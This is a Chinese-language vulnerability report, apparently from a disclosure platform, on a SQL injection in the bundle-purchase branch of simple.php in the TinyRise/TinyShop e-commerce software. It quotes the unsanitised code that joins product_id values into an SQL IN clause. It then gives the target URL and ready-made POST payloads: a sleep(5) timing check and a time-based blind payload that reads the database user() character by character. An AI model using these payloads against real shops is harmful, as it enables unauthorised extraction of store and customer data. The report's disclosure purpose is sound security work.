### 简要描述:
TinyRise 最新版sql注入
### 详细说明:
simple.php:
```
$order_type = 2;
}else if($type=="bundbuy"){//捆绑销售处理
$product_ids = implode(',', $product_id);
$num = Filter::int($buy_num[0]);
$model = new Model("bundling");
$bund = $model->where("id=$id")->find();
if($bund){
$goods_id = $bund['goods_id'];
$products = $model->table("goods as go")->join("left join products as pr on pr.goods_id=go.id")->where("pr.id in ($product_ids)")->fields("*,pr.id as product_id,pr.spec")->group("go.id")->findAll();
$order_products = $this->packBundbuyProducts($products,$num);
}
```
这个地方存在sql注入
首先这 $product_ids = implode(',', $product_id);
然后:
```
$products = $model->table("goods as go")->join("left join products as pr on pr.goods_id=go.id")->where("pr.id in ($product_ids)")->fields("*,pr.id as product_id,pr.spec")->group("go.id")->findAll();
$order_products = $this->packBundbuyProducts($products,$num);
```
这是 进入到sql注入
这里貌似只能进行盲注
访问url:
http://localhost/tinyshopv1.1/index.php?con=simple&act=order_act
postdata:
address_id=2&payment_id=1&user_remark=xxxxx%27&is_invoice=1&invoice_type=0&invoice_title=xxxxxx&type=bundbuy&id=1&product_id[]=sleep(5)
延迟五秒执行,那么下来我们怎么去猜测表 :
postdata:
address_id=2&payment_id=1&user_remark=xxxxx%27&is_invoice=1&invoice_type=0&invoice_title=xxxxxx&type=bundbuy&id=1&product_id[]=sleep(if(ascii(substr((select user()),1,1))=$NUM,sleep(5),1)))
这里$NUM 这里就是我们php要测试的值
### 漏洞证明:
暂无评论